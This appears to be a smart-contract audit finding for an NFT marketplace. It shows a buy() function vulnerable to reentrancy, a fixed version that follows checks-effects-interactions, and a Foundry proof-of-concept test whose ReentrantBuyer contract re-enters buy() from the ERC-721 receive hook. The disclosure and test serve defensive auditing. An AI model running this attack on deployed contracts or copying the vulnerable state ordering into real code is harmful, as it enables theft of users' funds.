function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
...
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
s_listings[_listingId].isActive = false;
...
}
function buy(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
s_listings[_listingId].isActive = false;
activeListingsCounter--;
usdc.safeTransferFrom(msg.sender, address(this), listing.price);
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
emit NFT_Dealers_Sold(msg.sender, listing.price);
}
pragma solidity 0.8.34;
import {Test} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract ReentrantBuyer is IERC721Receiver {
NFTDealers public target;
MockUSDC public usdc;
uint256 public listingId;
uint256 public attackCount;
uint256 public constant ATTACKS = 2;
constructor(address _target, address _usdc) {
target = NFTDealers(_target);
usdc = MockUSDC(_usdc);
}
function attack(uint256 _listingId, uint256 _price) external {
listingId = _listingId;
usdc.approve(address(target), _price * ATTACKS);
target.buy(_listingId);
}
function onERC721Received(address, address, uint256, bytes calldata)
external
override
returns (bytes4)
{
if (attackCount < ATTACKS) {
attackCount++;
target.buy(listingId);
}
return IERC721Receiver.onERC721Received.selector;
}
}
contract ReentrancyBuyTest is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
address public owner = makeAddr("owner");
address public seller = makeAddr("seller");
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(owner, address(usdc), "NFTDealers", "NFTD",
"https://example.com", 20e6);
vm.prank(owner); nftDealers.revealCollection();
vm.prank(owner); nftDealers.whitelistWallet(seller);
usdc.mint(seller, 20e6);
vm.startPrank(seller);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(1, 1000e6);
vm.stopPrank();
}
function test_reentrancy_buy() public {
ReentrantBuyer attacker = new ReentrantBuyer(address(nftDealers), address(usdc));
usdc.mint(address(attacker), 2000e6);
uint256 contractBalanceBefore = usdc.balanceOf(address(nftDealers));
attacker.attack(1, 1000e6);
uint256 contractBalanceAfter = usdc.balanceOf(address(nftDealers));
assertGt(attacker.attackCount(), 0, "Reentrancy did not trigger");
emit log_named_uint("Contract USDC before", contractBalanceBefore);
emit log_named_uint("Contract USDC after", contractBalanceAfter);
}
}